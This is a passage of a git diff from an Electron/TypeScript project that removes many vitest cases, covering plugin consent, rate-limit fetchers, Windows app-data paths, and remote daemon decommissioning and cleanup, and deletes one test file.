arg.startsWith('query='))).toContain('markFileAsViewed') - expect(args).toContain('pullRequestId=PR_kwDO123') - expect(args).toContain('path=src/app.ts') - expect(ghExecFileAsyncMock.mock.calls[0][1]).toEqual({ - cwd: '/repo-root', - host: 'github.com' - }) - expect(releaseMock).toHaveBeenCalledTimes(1) - }) - - it('uses GitHub GraphQL file-unviewed mutations', async () => { - ghExecFileAsyncMock.mockResolvedValueOnce({ stdout: '{}' }) - - await expect( - setPRFileViewed({ - repoPath: '/repo-root', - pullRequestId: 'PR_kwDO123', - path: 'src/app.ts', - viewed: false - }) - ).resolves.toBe(true) - - const args = ghExecFileAsyncMock.mock.calls[0][0] - expect(args.find((arg: string) => arg.startsWith('query='))).toContain('unmarkFileAsViewed') - }) - it('routes local WSL file-viewed mutations through the selected distro', async () => { ghExecFileAsyncMock.mockResolvedValueOnce({ stdout: '{}' }) diff --git a/src/main/integration-state-file-cache.test.ts b/src/main/integration-state-file-cache.test.ts index f1b3de9e802..92673a31041 100644 --- a/src/main/integration-state-file-cache.test.ts +++ b/src/main/integration-state-file-cache.test.ts @@ -45,20 +45,6 @@ describe('createIntegrationStateFileCache', () => { expect(reads).toBe(1) }) - it('reloads once the file changes underneath it', () => { - const path = tempFile() - writeFileSync(path, 'a') - const cache = createIntegrationStateFileCache({ - filePath: () => path, - readFromDisk: () => ({ body: readBody(path) }) - }) - expect(cache.get()).toEqual({ body: 'a' }) - - writeFileSync(path, 'bb') - - expect(cache.get()).toEqual({ body: 'bb' }) - }) - it('notices a same-size atomic replacement with the original modification time', () => { const path = tempFile() writeFileSync(path, 'old') @@ -116,21 +102,6 @@ describe('createIntegrationStateFileCache', () => { expect(cache.get()).toEqual({ present: false }) }) - it('re-reads after an invalidate so the value and stamp come from the same look', () => { - const path = tempFile() - writeFileSync(path, 'a') - const cache = createIntegrationStateFileCache({ - filePath: () => path, - readFromDisk: () => ({ body: readBody(path) }) - }) - expect(cache.get()).toEqual({ body: 'a' }) - - writeFileSync(path, 'written-by-us') - cache.invalidate() - - expect(cache.get()).toEqual({ body: 'written-by-us' }) - }) - it('recovers when another process writes between the stamp and the read', () => { const path = tempFile() writeFileSync(path, 'v1') diff --git a/src/main/ipc/mobile-pairing-listener-family.test.ts b/src/main/ipc/mobile-pairing-listener-family.test.ts index c99738570da..5656d049c78 100644 --- a/src/main/ipc/mobile-pairing-listener-family.test.ts +++ b/src/main/ipc/mobile-pairing-listener-family.test.ts @@ -90,21 +90,6 @@ describe('pairing addresses follow the runtime listener family', () => { }) }) - it('returns an IPv6 interface on an IPv6-only host when the listener serves IPv6', async () => { - networkInterfacesMock.mockReturnValue({ - eth0: [ - { family: 'IPv6', internal: false, address: GLOBAL_IPV6 }, - { family: 'IPv6', internal: false, address: 'fe80::42:acff:fe11:2' } - ] - }) - - registerStub(stubServer('::')) - - await expect(handlers.get('mobile:listNetworkInterfaces')?.()).resolves.toEqual({ - interfaces: [{ name: 'eth0', address: GLOBAL_IPV6 }] - }) - }) - it('mints no runtime link on an IPv6-only host while the listener only serves IPv4', async () => { networkInterfacesMock.mockReturnValue({ eth0: [{ family: 'IPv6', internal: false, address: GLOBAL_IPV6 }] diff --git a/src/main/macos-press-and-hold-default.defaults-domain.test.ts b/src/main/macos-press-and-hold-default.defaults-domain.test.ts index 13bc5334058..b812747cc98 100644 --- a/src/main/macos-press-and-hold-default.defaults-domain.test.ts +++ b/src/main/macos-press-and-hold-default.defaults-domain.test.ts @@ -75,14 +75,6 @@ describe.skipIf(process.platform !== 'darwin')( expect(rawRead(explicitlyFalse)).toBe('0') }) - it('reports an explicit true as set', () => { - const domain = throwawayDomain() - write(domain, 'true') - - expect(readDomainPressAndHoldPreference(domain)).toBe('set') - expect(rawRead(domain)).toBe('1') - }) - it('writes false into a previously unset domain', () => { const domain = throwawayDomain() diff --git a/src/main/managed-server/install/orcad-remote-windows-decommission.test.ts b/src/main/managed-server/install/orcad-remote-windows-decommission.test.ts deleted file mode 100644 index a4a06a421a3..00000000000 --- a/src/main/managed-server/install/orcad-remote-windows-decommission.test.ts +++ /dev/null @@ -1,173 +0,0 @@ -import type * as ExecCommandModule from '../../ssh/remote-exec/remote-exec-command' -import { beforeEach, describe, expect, it, vi } from 'vitest' -import type * as RecordFile from './orcad-remote-record-file' -import type * as InstallLock from './remote-install-lock' - -vi.mock('../../ssh/remote-exec/remote-exec-command', async (importOriginal) => ({ - ...(await importOriginal()), - execCommand: vi.fn() -})) -vi.mock('./remote-install-lock', async (importOriginal) => ({ - ...(await importOriginal()), - acquireInstallLock: vi.fn().mockResolvedValue(undefined) -})) -vi.mock('./orcad-remote-record-file', async (importOriginal) => ({ - ...(await importOriginal()), - writeAtomicOrcadRemoteRecord: vi.fn().mockResolvedValue(undefined) -})) -vi.mock('./remote-install-gc', async (importOriginal) => ({ - ...(await importOriginal>()), - gcOldRemoteInstallVersions: vi.fn().mockResolvedValue(undefined) -})) - -import { execCommand } from '../../ssh/remote-exec/remote-exec-command' -import { writeAtomicOrcadRemoteRecord } from './orcad-remote-record-file' -import { gcOldRemoteInstallVersions } from './remote-install-gc' -import { decommissionRemoteOrcad } from './orcad-remote-decommission' -import { gcOldOrcadVersions } from './orcad-remote-gc' -import { - emptyOrcadActivationRecord, - withActivatedVersion -} from '../activation/orcad-activation-record' -import { getRemoteHostPlatform } from '../../ssh/ssh-remote-platform' - -const mockExec = vi.mocked(execCommand) -const host = getRemoteHostPlatform('win32-x64') -const VERSION = '0.2.0+bb01' -const SLOT_NODE = 'C:\\Users\\u\\.orca-remote\\runtimes\\node-ab\\node.exe' -const record = withActivatedVersion(emptyOrcadActivationRecord(), VERSION, null, new Date(0)) -const encoded = (marker: string, value: string): string => - `${marker} ${Buffer.from(value).toString('base64')}\r\n` -const lock = { - pid: 4242, - startedAtMs: 1_700_000_000_123, - identity: 'u', - version: VERSION, - acquiredAt: '2026-10-01T00:00:00.000Z', - nonce: 'nonce-1' -} - -function conn() { - return Object.assign(Object.create(null), { writeFile: vi.fn().mockResolvedValue(undefined) }) -} - -beforeEach(() => { - vi.clearAllMocks() -}) - -describe('decommissioning a Windows orcad', () => { - it('stops it by a staged managed request and records that nothing serves', async () => { - const log: string[] = [] - mockExec.mockImplementation(async (_conn, command: string) => { - const text = String(command) - log.push(text) - const op = /\.js (?:--fence \S+ \S+ )?([a-z-]+)(?: |$)/u.exec(text)?.[1] ?? '' - if (op === 'record-read') { - if (text.includes('orcad-active.json')) { - return encoded('__ORCAD_RECORD_PRESENT__', JSON.stringify(record)) - } - return text.includes('orcad.lock') - ? encoded('__ORCAD_RECORD_PRESENT__', JSON.stringify(lock)) - : '__ORCAD_RECORD_ABSENT__\r\n' - } - if (op === 'readiness-wait') { - return encoded( - '__ORCAD_READINESS__', - `${JSON.stringify({ type: 'orca_server_ready', runtimeId: 'r1', health: { pid: 4242, stopRequests: 1 } })}\n` - ) - } - if (op === 'slot-runtime') { - return encoded('__ORCAD_RUNTIME__', SLOT_NODE) - } - if (op === 'fence-check') { - return 'OK' - } - if (op === 'fence-release') { - return 'RELEASED' - } - if (op === 'remove-file' || op === 'remove-tree') { - return '' - } - if (text.includes('--complete-managed-stop')) { - const staged = /--request-file (\S+)/u.exec(text)?.[1] ?? '' - const writes = vi.mocked(options.conn.writeFile).mock.calls - const request = JSON.parse(String(writes.find(([path]) => path === staged)?.[1])) - return `${JSON.stringify({ ...request, kind: 'orcad_managed_stop_completion', verdict: 'exited', receiptPersisted: true, retirement: 'retired' })}\r\n` - } - throw new Error(`unexpected Windows command: ${text}`) - }) - const options = { - conn: conn(), - host, - remoteHome: 'C:/Users/u', - nodePath: 'C:/host/node.exe', - userDataDir: 'C:/Users/u/.orca', - bindHost: '127.0.0.1', - port: 7777, - record, - census: { liveSessions: 0, startedSinceActivation: 0, daemonProtocolVersion: 3 }, - now: () => new Date('2026-10-02T00:00:00.000Z') - } - expect(await decommissionRemoteOrcad(options)).toEqual({ - outcome: 'decommissioned', - version: VERSION, - retirement: 'retired' - }) - const written = vi - .mocked(writeAtomicOrcadRemoteRecord) - .mock.calls.find(([, path]) => path.endsWith('orcad-active.json')) - expect(JSON.parse(written?.[2] ?? '{}')).toMatchObject({ active: null, previous: VERSION }) - for (const command of log) { - expect(command).not.toMatch(/EncodedCommand|kill |SIGTERM|taskkill|Stop-Process/u) - expect(command).not.toContain('nonce-1') - } - expect(log.some((command) => command.startsWith(`${SLOT_NODE} `))).toBe(true) - }) -}) - -describe('Windows orcad GC', () => { - const gcOptions = () => ({ - conn: conn(), - host, - remoteHome: 'C:/Users/u', - currentDirAbsPath: 'C:/Users/u/.orca-remote/orcad-0.3.0+cc01', - record - }) - - async function screen(answer: string | Error): Promise { - mockExec.mockImplementation(async (_conn, command: string) => { - if (String(command).includes(' record-read ')) { - return '__ORCAD_RECORD_ABSENT__\r\n' - } - if (String(command).startsWith('powershell.exe ')) { - return 'OPEN' - } - if (answer instanceof Error) { - throw answer - } - return answer - }) - await gcOldOrcadVersions(gcOptions()) - const passOptions = vi.mocked(gcOldRemoteInstallVersions).mock.calls[0]?.[5] - return ( - (await passOptions?.resolveExtraPinnedDirNames?.(['orcad-a', 'orcad-b', 'orcad-c'])) ?? null - ) - } - - it('screens every candidate in one node.exe and pins all but the proven dead', async () => { - expect(await screen('__ORCAD_LIVENESS__ LIVE,DEAD,UNKNOWN\r\n')).toEqual(['orcad-a', 'orcad-c']) - const screens = mockExec.mock.calls.filter(([, command]) => - String(command).includes('liveness-many') - ) - expect(screens).toHaveLength(1) - expect(String(screens[0]?.[1])).toContain( - 'C:/Users/u/.orca-remote/orcad-a C:/Users/u/.orca-remote/orcad-b C:/Users/u/.orca-remote/orcad-c' - ) - }) - - it('deletes nothing when the host cannot answer for every candidate', async () => { - expect(await screen('__ORCAD_LIVENESS__ DEAD,DEAD\r\n')).toBeNull() - vi.clearAllMocks() - expect(await screen(new Error('exit 1'))).toBeNull() - }) -}) diff --git a/src/main/pi/rpc-options.test.ts b/src/main/pi/rpc-options.test.ts index 58e54a3900b..ddaff808681 100644 --- a/src/main/pi/rpc-options.test.ts +++ b/src/main/pi/rpc-options.test.ts @@ -3,7 +3,6 @@ import { applyPiRpcSessionOption, parsePiModelOptionId, PiRpcOptionObservations, - readPiRpcCommands, readPiRpcSessionOptions, type PiRpcOptionProof, type PiRpcRequester @@ -119,43 +118,6 @@ describe('Pi RPC session options', () => { expect(selected.get('model')).toBe('openai-codex/gpt-6.1-sol') }) - it('rejects malformed provider data and reports only Pi-listed commands', async () => { - const malformed = requester({ get_available_models: { models: [{ id: 'missing-provider' }] } }) - await expect(readPiRpcSessionOptions(malformed)).rejects.toThrow() - const rpc = requester({ - get_commands: { - commands: [ - { name: 'review', description: 'Review changes', source: 'extension' }, - { name: 'search', source: 'skill' } - ] - } - }) - expect(await readPiRpcCommands(rpc)).toEqual({ - commands: [ - { name: 'review', kind: 'command', description: 'Review changes' }, - { name: 'search', kind: 'skill' } - ] - }) - }) - - it('handles a signed-out state with no model', async () => { - const rpc = requester({ - get_available_models: { models: [] }, - get_state: { - model: null, - thinkingLevel: 'off', - sessionFile: '/sessions/current.jsonl', - isStreaming: false, - isCompacting: false - } - }) - expect((await readPiRpcSessionOptions(rpc)).current).toEqual({ - model: '', - effort: 'off', - confirmed: ['effort'] - }) - }) - it('keeps ordinary thinking levels when the map only supplies overrides', async () => { const rpc = requester({ get_available_models: { diff --git a/src/main/plugins/plugin-cli-approval.test.ts b/src/main/plugins/plugin-cli-approval.test.ts index dc2789cce26..f5cf864b81c 100644 --- a/src/main/plugins/plugin-cli-approval.test.ts +++ b/src/main/plugins/plugin-cli-approval.test.ts @@ -151,13 +151,4 @@ describe('approvePluginFromCli', () => { await expect(approve()).resolves.toBe('already-approved') expect(applyConsent).not.toHaveBeenCalled() }) - - it('tells a development folder approval that later code edits are not re-reviewed', () => { - const request = pluginCliApprovalRequest( - plugin(WORKER, { isDev: true, contentHash: null, consentContentHash: 'dev-identity' }), - 'dev-load' - ) - expect(request.contentIdentity).toBe('dev-identity') - expect(request.why).toContain('Later code edits in this development folder') - }) }) diff --git a/src/main/plugins/plugin-enablement.test.ts b/src/main/plugins/plugin-enablement.test.ts index 44cc906ffa5..2ec334aa26b 100644 --- a/src/main/plugins/plugin-enablement.test.ts +++ b/src/main/plugins/plugin-enablement.test.ts @@ -4,7 +4,7 @@ import { getDefaultSettings } from '../../shared/constants' import type { GlobalSettings } from '../../shared/global-settings-types' import { pluginManifestSchema } from '../../shared/plugins/manifest/plugin-manifest' import type { Store } from '../persistence' -import { applyPluginConsent, applyPluginEnablement } from './plugin-enablement' +import { applyPluginConsent } from './plugin-enablement' import type { ValidDiscoveredPlugin } from './plugin-discovery' import type { PluginService } from './plugin-service' @@ -61,25 +61,6 @@ function createPluginService( } as unknown as PluginService } -describe('full access', () => { - const workerManifest = pluginManifestSchema.parse({ ...manifest, main: 'main.mjs' }) - - it('approves and enables a trusted worker with its own consent alone', async () => { - const harness = createStore() - const pluginService = createPluginService(() => 'sha256-reviewed', { - manifest: workerManifest - }) - const request = { store: harness.store, pluginService, pluginKey } - await applyPluginConsent({ - ...request, - reviewedFingerprint: 'sha256-reviewed', - decision: 'approve' - }) - await applyPluginEnablement({ ...request, enabled: true }) - expect(harness.getSettings().pluginConsents[pluginKey]).toBe('sha256-reviewed') - }) -}) - describe('applyPluginConsent', () => { it('stores approval only for the fingerprint the user reviewed', async () => { const harness = createStore() @@ -133,33 +114,3 @@ describe('applyPluginConsent', () => { expect(pluginService.reconcileActivationState).toHaveBeenCalledOnce() }) }) - -describe('applyPluginEnablement', () => { - it('does not persist unknown plugin identities', async () => { - const harness = createStore() - const pluginService = createPluginService(() => 'sha256-current') - - await expect( - applyPluginEnablement({ - store: harness.store, - pluginService, - pluginKey: 'samples.unknown', - enabled: false - }) - ).rejects.toThrow('unknown plugin') - - expect(harness.updateSettings).not.toHaveBeenCalled() - }) - - it('tells every window, including the one that clicked, so its themes stop painting', async () => { - const harness = createStore() - const pluginService = createPluginService(() => 'sha256-current') - - await applyPluginEnablement({ store: harness.store, pluginService, pluginKey, enabled: false }) - - expect(harness.updateSettings).toHaveBeenCalledWith( - { disabledPlugins: [pluginKey] }, - { notifyListeners: true } - ) - }) -}) diff --git a/src/main/pty/codex-preflight-profile-path-rewrite.test.ts b/src/main/pty/codex-preflight-profile-path-rewrite.test.ts index 9e4b9284ebf..d58fcf6c20e 100644 --- a/src/main/pty/codex-preflight-profile-path-rewrite.test.ts +++ b/src/main/pty/codex-preflight-profile-path-rewrite.test.ts @@ -108,14 +108,6 @@ afterEach(() => { }) describe.skipIf(!bashAvailable)('Codex preflight under a profile-rewritten PATH', () => { - it('sources the user profile before emitting the codex wrapper', () => { - const rcfile = getDaemonBashShellReadyRcfileContent() - - expect(rcfile.indexOf('source "$HOME/.bash_profile"')).toBeLessThan( - rcfile.indexOf('ORCA_CODEX_LAUNCH_PREFLIGHT') - ) - }) - it('runs the bundled CLI the resolver picked, not the impostor the profile put first', () => { const fixture = buildFixture() const preflightCommand = resolveCodexShellLaunchPreflightCommand({ diff --git a/src/main/rate-limits/gemini-usage-fetcher.fallback.test.ts b/src/main/rate-limits/gemini-usage-fetcher.fallback.test.ts index d633d221641..6ab5077b63b 100644 --- a/src/main/rate-limits/gemini-usage-fetcher.fallback.test.ts +++ b/src/main/rate-limits/gemini-usage-fetcher.fallback.test.ts @@ -44,27 +44,6 @@ describe('fetchGeminiRateLimits fallback oauth creds', () => { }) }) - it('falls back to oauth_creds.json when auth.json has no google key', async () => { - readFileMock.mockImplementation(async (filePath: string) => { - if (filePath.includes('auth.json')) { - return JSON.stringify({ 'opencode-go': { type: 'api', key: 'k' } }) - } - if (filePath.includes('oauth_creds.json')) { - return JSON.stringify(validCreds) - } - throw { code: 'ENOENT' } - }) - fetchMock - .mockResolvedValueOnce(makeResponse({ cloudaicompanionProject: 'proj-123' })) - .mockResolvedValueOnce(makeResponse(quotaResponse)) - - const result = await fetchGeminiRateLimits(true) - - expect(result.status).toBe('ok') - expect(result.error).toBeNull() - expect(result.session).not.toBeNull() - }) - it('falls back to oauth_creds.json and resolves project via loadCodeAssist', async () => { readFileMock.mockImplementation(async (filePath: string) => { if (filePath.includes('auth.json')) { diff --git a/src/main/rate-limits/opencode-go-usage-api.test.ts b/src/main/rate-limits/opencode-go-usage-api.test.ts index 45b9e484d47..f99b0e81f93 100644 --- a/src/main/rate-limits/opencode-go-usage-api.test.ts +++ b/src/main/rate-limits/opencode-go-usage-api.test.ts @@ -139,14 +139,4 @@ describe('fetchOpenCodeGoUsageWithApiKey', () => { message: 'Could not parse OpenCode Go usage response' }) }) - - it('never leaks the key through a network failure message', async () => { - fetchMock.mockRejectedValue(new Error(`request to ${OPENCODE_GO_USAGE_API_URL} failed`)) - - const outcome = await fetchOpenCodeGoUsageWithApiKey(API_KEY) - - expect(outcome.kind).toBe('failed') - expect(outcome.kind === 'failed' && outcome.message).not.toContain(API_KEY) - expect(outcome.kind === 'failed' && outcome.failureKind).toBe('network') - }) }) diff --git a/src/main/runtime/host-terminal-close-persistence-durability.test.ts b/src/main/runtime/host-terminal-close-persistence-durability.test.ts index c2b7c57e74c..b3d0a4c1e10 100644 --- a/src/main/runtime/host-terminal-close-persistence-durability.test.ts +++ b/src/main/runtime/host-terminal-close-persistence-durability.test.ts @@ -68,16 +68,6 @@ describe('host-created terminal close durability', () => { expect(store.getWorkspaceSession().tabsByWorktree?.[WT] ?? []).toEqual([]) }) - it('stays removed with the PTY still connected and no exit ever delivered', async () => { - const store = await makeStore() - await store.persistPtyBinding({ worktreeId: WT, tabId: TAB, leafId: LEAF, ptyId: PTY }) - store.setWorkspaceSession(rendererWriteWithout(store.getWorkspaceSession(), TAB)) - for (let i = 0; i < 3; i += 1) { - store.setWorkspaceSession({ ...store.getWorkspaceSession() }) - } - expect(store.getWorkspaceSession().tabsByWorktree?.[WT] ?? []).toEqual([]) - }) - it('pre-existing host-authoritative membership rebases the close away (not ours)', async () => { const store = await makeStore() store.setWorkspaceSession({ @@ -102,24 +92,6 @@ describe('topology fence census', () => { rmSync(testState.dir, { recursive: true, force: true }) }) - it('no host-create binding shape arms a fresh repo fence', async () => { - for (const [index, extra] of [ - {}, - { incarnationId: '33333333-3333-4333-8333-333333333333' }, - { startupCwd: '/tmp/wt-cli' } - ].entries()) { - const store = await makeStore() - await store.persistPtyBinding({ - worktreeId: WT, - tabId: `${TAB}-${index}`, - leafId: LEAF, - ptyId: `${PTY}-${index}`, - ...extra - }) - expect(store.getWorkspaceSession().terminalTopologyRevisionByRepoId?.[REPO_ID] ?? 0).toBe(0) - } - }) - it('a second pane in the same tab still does not arm the fence', async () => { const store = await makeStore() await store.persistPtyBinding({ worktreeId: WT, tabId: TAB, leafId: LEAF, ptyId: PTY }) @@ -131,16 +103,4 @@ describe('topology fence census', () => { }) expect(store.getWorkspaceSession().terminalTopologyRevisionByRepoId?.[REPO_ID] ?? 0).toBe(0) }) - - it('an armed fence keeps climbing, so exit-driven retirement still outranks replays', async () => { - const store = await makeStore() - store.setWorkspaceSession({ - ...store.getWorkspaceSession(), - terminalTopologyRevisionByRepoId: { [REPO_ID]: 1 } - }) - await store.persistPtyBinding({ worktreeId: WT, tabId: TAB, leafId: LEAF, ptyId: PTY }) - expect( - store.getWorkspaceSession().terminalTopologyRevisionByRepoId?.[REPO_ID] ?? 0 - ).toBeGreaterThan(1) - }) }) diff --git a/src/main/runtime/rpc/orchestration-caller-show.test.ts b/src/main/runtime/rpc/orchestration-caller-show.test.ts index b038200e04a..51a74a5aec6 100644 --- a/src/main/runtime/rpc/orchestration-caller-show.test.ts +++ b/src/main/runtime/rpc/orchestration-caller-show.test.ts @@ -120,14 +120,6 @@ describe('orchestration.callerShow: a session learns its Orca session ID from th expect(response).toMatchObject({ ok: false, error: { code: CODES.hostBoundary } }) }) - it('answers null for a terminal agent, whose status stays as it was', async () => { - const response = await h.dispatch( - callerShow({ evidence: { terminalHandle: 'term_live', paneKey: 'tab_1:leaf_1' } }) - ) - - expect(resultOf(response)).toEqual({ caller: null }) - }) - it('gives the menu the Orca session ID each session of a cleared chat acts as', async () => { const cleared = sessionRecord(SESSION_X) h.records.set(SESSION_X, { @@ -152,18 +144,4 @@ describe('orchestration.callerShow: a session learns its Orca session ID from th expect(acting.caller).toMatchObject({ orcaSessionId: shown.orcaSessionId }) } }) - - it('refuses an id that is not an Orca session ID', async () => { - const response = await h.dispatch( - orchestrationRequest('orchestration.sessionAddress', { sessionId: 'not an id' }) - ) - - expect(response).toMatchObject({ ok: false, error: { code: CODES.unknown } }) - }) - - it('answers null for a caller whose environment carries no identity', async () => { - const response = await h.dispatch(callerShow({})) - - expect(resultOf(response)).toEqual({ caller: null }) - }) }) diff --git a/src/main/runtime/rpc/orchestration-mutation-request-show.test.ts b/src/main/runtime/rpc/orchestration-mutation-request-show.test.ts index 763b3093696..51efe3de13f 100644 --- a/src/main/runtime/rpc/orchestration-mutation-request-show.test.ts +++ b/src/main/runtime/rpc/orchestration-mutation-request-show.test.ts @@ -142,16 +142,6 @@ describe('orchestration.requestShow', () => { await runningMutation }) - it('reports an unknown request as absent without claiming nothing happened', async () => { - const { dispatcher } = createHarness() - - const response = await dispatcher.dispatch(showRequest('mutation_missing')) - - const result = (response as { result: { state: string; interpretation: string } }).result - expect(result.state).toBe('absent') - expect(result.interpretation).toContain('not proof that nothing happened') - }) - it('scopes receipts to the caller identity that recorded them', async () => { const { dispatcher } = createHarness() await dispatcher.dispatch(sendRequest('mutation_scoped')) diff --git a/src/main/runtime/runtime-local-create-rearm-ordering.test.ts b/src/main/runtime/runtime-local-create-rearm-ordering.test.ts index 79ff1c47418..3941b428a68 100644 --- a/src/main/runtime/runtime-local-create-rearm-ordering.test.ts +++ b/src/main/runtime/runtime-local-create-rearm-ordering.test.ts @@ -123,23 +123,6 @@ describe('runtime local create prepared-pool re-arm ordering', () => { expect(calls.order).toEqual(['terminals', 'rearm']) }) - it('returns upstream warnings with other creation warnings', async () => { - createLocalMock.mockResolvedValueOnce({ - worktree, - worktreePath: worktree.path, - includeCopyWarning: 'Some files were skipped.', - created: { path: worktree.path, head: 'abc', branch: 'app' }, - addResult: { upstreamWarning: 'Check the push destination.' }, - metadataResult: { lineage: null, workspaceLineage: null, warnings: [] } - }) - const result = await makeRuntime().createManagedWorktree({ - repoSelector: 'repo-1', - name: 'app' - }) - expect(result.warning).toContain('Some files were skipped.') - expect(result.warning).toContain('Check the push destination.') - }) - it('still arms the pool when terminal launch fails', async () => { startTerminalsMock.mockRejectedValue(new Error('spawn failed')) const runtime = makeRuntime() diff --git a/src/main/runtime/runtime-worktree-agent-rows-structured.test.ts b/src/main/runtime/runtime-worktree-agent-rows-structured.test.ts index 5079efcd0a0..e0bbde68388 100644 --- a/src/main/runtime/runtime-worktree-agent-rows-structured.test.ts +++ b/src/main/runtime/runtime-worktree-agent-rows-structured.test.ts @@ -5,10 +5,7 @@ import { statusFeedChildView } from '../native-chat/agent-session-wire/structure import { normalizeAgentStatusPayload } from '../../shared/agent-status-types' import { resolveWorktreeCatalogSnapshot } from './rpc/worktree-catalog-snapshot' import { attachRuntimeWorktreeAgentRows } from './runtime-worktree-agent-rows' -import { - structuredAgentSessionPaneKey, - structuredAgentSessionTabId -} from '../../shared/structured-agent-session-projection' + import type { AgentSessionStatusSummary } from '../../shared/agent-session-wire' import type { RuntimeWorktreePsSummary } from '../../shared/runtime-types' import { AgentHookServer, _internals } from '../agent-hooks/server' @@ -118,51 +115,14 @@ describe('worktree ps reports structured sessions', () => { expect(ended.agents[0]?.mainAgent).not.toHaveProperty('stopping') }) - it('a busy structured session is not reported idle', () => { - const row = attach([summary()]) - expect(row.agents).toHaveLength(1) - expect(row.agents[0]?.state).toBe('working') - expect(row.agents[0]?.agentType).toBe('claude') - expect(row.agents[0]?.prompt).toBe('ship the thing') - expect(row.status).toBe('working') - }) - it('does not turn a completed host-held session into permission', () => { const row = attach([summary({ status: 'idle' })]) expect(row.status).toBe('inactive') expect(row.hasHostSidebarActivity).toBe(false) }) - it('reports the DERIVED pane key, never an orchestration credential', () => { - const row = attach([summary()]) - expect(row.agents[0]?.paneKey).toBe( - structuredAgentSessionPaneKey(structuredAgentSessionTabId(SESSION), SESSION) - ) - }) - // No persisted turn means no projected status, matching the chat. it('omits a session with no projected status', () => { expect(attach([summary({ status: null })]).agents).toHaveLength(0) }) - - it('keeps the journal clock on the row, so a restart republish is not new activity', () => { - const row = attach([summary()]) - expect(row.agents[0]?.updatedAt).toBe(1_757_030_400_000) - expect(row.agents[0]?.stateStartedAt).toBe(1_757_030_400_000) - }) -}) - -/** Keep structured rows out of terminal list: shipped clients mount WebViews and poll by row presence/connected, which no added field can qualify. */ -describe('terminal listing is deliberately left alone', () => { - it('never reads the agent-status store that now carries structured rows', async () => { - const { readFile } = await import('node:fs/promises') - const listing = await readFile( - new URL('./terminal/layout/terminal-resize-listeners.ts', import.meta.url), - 'utf8' - ) - // An empty source read would satisfy every negative assertion. - expect(listing).toContain('async listTerminals(') - expect(listing).not.toContain('getAgentStatusSnapshotFn') - expect(listing).not.toContain('structuredHost') - }) }) diff --git a/src/main/speech/model-manager-windows-path.test.ts b/src/main/speech/model-manager-windows-path.test.ts index a791341cf5f..9d850ee56d8 100644 --- a/src/main/speech/model-manager-windows-path.test.ts +++ b/src/main/speech/model-manager-windows-path.test.ts @@ -42,10 +42,6 @@ function restoreEnvironment(): void { } } -function isAsciiPath(value: string): boolean { - return [...value].every((character) => character.charCodeAt(0) <= 0x7f) -} - describe('ModelManager Windows model path handling', () => { beforeEach(() => { appGetPathMock.mockReset() @@ -57,28 +53,6 @@ describe('ModelManager Windows model path handling', () => { restoreEnvironment() }) - it('uses an ASCII cache path when the Windows default user data path has non-ASCII characters', () => { - const dir = mkdtempSync(join(tmpdir(), 'orca-model-manager-')) - try { - setPlatform('win32') - const programDataDir = join(dir, 'ProgramData') - const userDataDir = join(dir, '用户', 'Orca') - process.env.PROGRAMDATA = programDataDir - appGetPathMock.mockImplementation((name: string) => - name === 'userData' ? userDataDir : join(dir, name) - ) - - const manager = new ModelManager(undefined, openElectronSpeechDownloadRequest) - - expect(manager.getModelsDir()).not.toContain(userDataDir) - expect(manager.getModelsDir()).toContain(join(programDataDir, 'Orca', 'speech-models')) - expect(isAsciiPath(manager.getModelsDir())).toBe(true) - expect(existsSync(manager.getModelsDir())).toBe(true) - } finally { - rmSync(dir, { recursive: true, force: true }) - } - }) - it('migrates existing ready model files from a non-ASCII Windows default cache', async () => { const dir = mkdtempSync(join(tmpdir(), 'orca-model-manager-')) try { diff --git a/src/main/startup/windows-app-data-path.test.ts b/src/main/startup/windows-app-data-path.test.ts index e302a7eda35..00cd57ae063 100644 --- a/src/main/startup/windows-app-data-path.test.ts +++ b/src/main/startup/windows-app-data-path.test.ts @@ -1,4 +1,4 @@ -import { existsSync, mkdtempSync, readFileSync } from 'node:fs' +import { existsSync, mkdtempSync } from 'node:fs' import { tmpdir } from 'node:os' import { join, win32 } from 'node:path' import { afterEach, describe, expect, it } from 'vitest' @@ -68,20 +68,9 @@ describe('deriveWindowsAppDataPath', () => { 'C:\\Users\\me\\AppData\\Roaming' ) }) - - it('throws a readable error when neither variable is usable', () => { - expect(() => deriveWindowsAppDataPath({})).toThrow(ERROR_MESSAGE) - expect(() => deriveWindowsAppDataPath({ APPDATA: ' ', USERPROFILE: '' })).toThrow(ERROR_MESSAGE) - }) }) describe('ensureWindowsAppDataPath', () => { - it('does nothing off Windows', () => { - const host = createHost(new Error('unused')) - ensureWindowsAppDataPath(host, {}, 'darwin') - expect(host.calls).toEqual([]) - }) - it('keeps the native appData and pins userData to the path Electron would derive', () => { const host = createHost('C:\\Users\\me\\AppData\\Roaming') ensureWindowsAppDataPath(host, { APPDATA: 'D:\\ignored' }, 'win32') @@ -110,36 +99,9 @@ describe('ensureWindowsAppDataPath', () => { expect(existsSync(missingAppData)).toBe(true) }) - it('treats an empty native appData like a failed lookup', () => { - const host = createHost('') - expect(() => ensureWindowsAppDataPath(host, {}, 'win32')).toThrow(ERROR_MESSAGE) - expect(host.calls).toEqual(['get:appData']) - }) - it('fails with a readable error, setting nothing, when both variables are missing', () => { const host = createHost(new Error('Failed to get appData path')) expect(() => ensureWindowsAppDataPath(host, {}, 'win32')).toThrow(ERROR_MESSAGE) expect(host.paths.size).toBe(0) }) }) - -describe('startup ordering', () => { - it('pins Windows appData before any preflight step can resolve userData', () => { - const source = readFileSync( - join(process.cwd(), 'src/main/startup/main-process-preflight.ts'), - 'utf8' - ) - const body = source.slice(source.indexOf('function initializeMainProcessPreflight(')) - const ensure = body.indexOf('ensureWindowsAppDataPath(app)') - expect(ensure).toBeGreaterThan(0) - for (const laterStep of [ - 'runProfileStateRecoveryPreflight()', - 'maybeRedirectCliLaunch(', - 'configureDevUserDataPath(', - 'configureOrcaUserDataPathEnv()', - 'startCrashpadCapture()' - ]) { - expect(body.indexOf(laterStep)).toBeGreaterThan(ensure) - } - }) -}) diff --git a/src/main/worktree-create-preparation-wsl-root.test.ts b/src/main/worktree-create-preparation-wsl-root.test.ts index e25f5ea0fd7..c9ca8c769f2 100644 --- a/src/main/worktree-create-preparation-wsl-root.test.ts +++ b/src/main/worktree-create-preparation-wsl-root.test.ts @@ -54,7 +54,6 @@ import { const WSL_HOME = '\\\\wsl.localhost\\Ubuntu\\home\\jin' const MIRRORED_ROOT = `${WSL_HOME}\\orca\\workspaces` const repo = { id: 'repo-1', path: `${WSL_HOME}\\src\\repo` } as Repo -const windowsRepo = { id: 'repo-2', path: 'C:\\src\\repo' } as Repo const settings = { workspaceDir: 'C:\\workspaces', nestWorkspaces: false } const store = { 